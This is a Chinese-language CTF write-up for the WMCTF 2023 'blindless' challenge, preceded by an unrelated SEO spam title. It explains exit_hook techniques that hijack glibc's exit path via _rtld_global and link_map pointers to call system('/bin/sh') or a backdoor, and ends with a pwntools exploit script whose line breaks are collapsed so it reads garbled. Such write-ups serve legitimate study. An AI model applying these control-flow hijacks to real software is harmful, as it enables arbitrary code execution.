公司免費取名網(wǎng)站seo搜索引擎優(yōu)化案例
0x01 前言
在計算機安全領域,漏洞的危險性往往與其廣泛性和潛在攻擊方式密切相關。今天,我們將深入探討一個異常危險的漏洞,它存在于程序退出時執(zhí)行的常見函數(shù)"exit"中。無論是在操作系統(tǒng)還是應用程序中,"exit"都是一個普遍存在的函數(shù),通常用于正常退出程序。但這種普遍性也使得它成為了潛在的攻擊目標。
這個漏洞的威脅性在于,它不僅存在于各種程序中,而且有多種潛在的攻擊方式。攻擊者可以通過利用這一漏洞來執(zhí)行惡意代碼,獲取系統(tǒng)權限,或者實施其他惡意行為。要理解這個漏洞的威脅,我們需要深入分析其背后的原理以及不同的利用方式。
在本文中,我們將探討這個漏洞的具體情況,并詳細分析了兩種主要的利用方式:一種是將程序流轉向libc庫中的函數(shù),另一種是將程序流轉向程序本身的代碼段。我們將深入研究這兩種攻擊方式的原理,并展示了一個實際漏洞利用的示例。
"blindless"是來自WMCTF 2023比賽的一個題目,雖然難度不高,但要深入理解并利用其中的漏洞,需要花費大量時間。本文總結了有關"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享給大家學習。這題的關鍵是深入理解程序退出時執(zhí)行的"exit"函數(shù),以及如何通過不同方式實現(xiàn)漏洞利用。
0x02 exit_hook的n種姿勢
基地址放在此處供各位參考一下,用于計算指令偏移。
exit_hook2libc
首先是p &_rtld_global
(看地址),他有一個rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
的元素可以改來調用。
注意一定要用docker或者虛擬機,否則沒有符號表會特別坐牢!
執(zhí)行p _rtld_global
??吹侥莾蓚€rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
嗎,就是他們兩個。我們可以修改他們的內容,從而作為exithook進行調用(直接call)。把后面的東西復制過來p &xxx
就可以查看其地址了。
注意看,這個程序叫小帥,他調用的第一個參數(shù)就是rdi,是_rtld_global+2312
,我們可以控制他的參數(shù)為/bin/sh\x00
然后做壞壞的事情(如果能把rtld_lock_default_lock_recursive
也改成system
的話)。
然后rtld_lock_default_unlock_recursive
的參數(shù)也是2312這個偏移。
注意這個2312是十進制。
好的,我們就修改這兩個地方就可以為所欲為了,但是exit_hook
到這里還沒完。
并且嚴格來說,這里并不是完全的exit_hook2libc
,如果知道elf的地址也完全可以返回到elf上的函數(shù)。
接下來還有更騷的,可以控制到程序上的地址(直接跳轉,或者間接取地址跳轉。)
exit_hook2elf
1.間接call
這個在這里,第一個是間接call,即指令是call qword ptr [寄存器]
,意思就是從寄存器的地址指向的內存里取地址,然后call。
對于間接call的利用,我們可以修改他的偏移到任意函數(shù)got表,然后配合參數(shù)rdi_rtld_global+2312
使用。
例如修改_rtld_global+2312為"/bin/sh\x00"
這個的基地址和偏移是存在于link_map
的,這樣可以找到他的地址。
調試可以看到他會從這個地址的內存中取elf基地址,然后通過link_map地址+0x110存的地址取偏移。我們可以改基地址也可以選擇改偏移。link_map地址+0x110是存第一個間接call的偏移的。
注意存的是偏移-8的地址,也就是如果要改的話要改成目標-8。
2.直接call
link_map地址+0xa8是存第二個直接call的偏移
注意存的是偏移-8的地址,也就是如果要改的話要改成目標-8。
如果改偏移的話能改最好,還能直接形成調用鏈子。但是如果沒有偏移,就只能改基地址了——也就是p &l
出來那兒。但是這樣肯定會損壞第一次call r14
的,會導致無法正常進行。
但是發(fā)現(xiàn)有一個地方判斷可以跳過call r14
。
就是這里,test edx,edx
是edx和edx相互and,留下標志位。簡單來說就是如果是0,那么不跳轉。如果是1,那么跳轉。
在x86匯編中,
je
?指令的作用是:
1. 檢查零標志位(ZF)是否被設置為 1。
2. 如果零標志位被設置為 1,將進行跳轉到指定的目標位置。
回溯發(fā)現(xiàn)是從link_map+0x120
取來的地址,也就是說想要這里為0,就把那里的地址指向為0的地方即可!不過也要注意,這里取的是地址+8,也就是我們要改成目標地址-8改進去。這里直接找bss段之類的即可。
完成這個操作,就可以修改基地址達到任意直接call的效果了!即使沒有泄露,也可直接返回到程序上(比如此題有后門)。如果有,那就是為所欲為!(和前面一樣,如果有泄露真的就是為所欲為了)。
0x03 exp
那么本題目由于有brainfuck函數(shù)可以執(zhí)行任意地址寫,則根據(jù)前面的exit_hook可以做到提權。
from?pwn?import?*n2b?=?lambda?x????:?str(x).encode()
rv??=?lambda?x????:?p.recv(x)
rl??=?lambda?????:p.recvline()
ru??=?lambda?s????:?p.recvuntil(s)
sd??=?lambda?s????:?p.send(s)
sl??=?lambda?s????:?p.sendline(s)
sn??=?lambda?s????:?sl(n2b(n))
sa??=?lambda?t,?s?:?p.sendafter(t,?s)
sla?=?lambda?t,?s?:?p.sendlineafter(t,?s)
sna?=?lambda?t,?n?:?sla(t,?n2b(n))
ia??=?lambda??????:?p.interactive()
rop?=?lambda?r????:?flat([p64(x)?for?x?in?r])
uu64=lambda?data?:u64(data.ljust(8,b'\x00'))while?True:context(os='linux',?arch='amd64',?log_level='debug')p?=?process('./main')context.terminal?=?['tmux','new-window'?,'-n','-c']#gdb.attach(p)sla('ze',b'-10')#分配到libc上(用mmap)sla('ze',b'256')pay?=?b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移pay?+=?b'@'+p32(2148618432)pay?+=b'.'?+?b'\xb1'pay?+=?b'>.'?+?b'\x7c'#使得加了偏移之后是后門函數(shù)地址pay?+=?b'@'+p32(0x11f)#修改0x120的地址,指向0,跳過call?r14pay?+=b'.'?+?b'\x00'pay?+=?b'q'sla('code\n',pay)re?=?p.recvrepeat(0.1)#一直接收直到有回顯#如果是system的話可以發(fā)一個cat?flag再這樣#這是個很好的爆破方式,學習學習if?re:print('pwned!get?your?flag?here:',re)exit(0)p.close()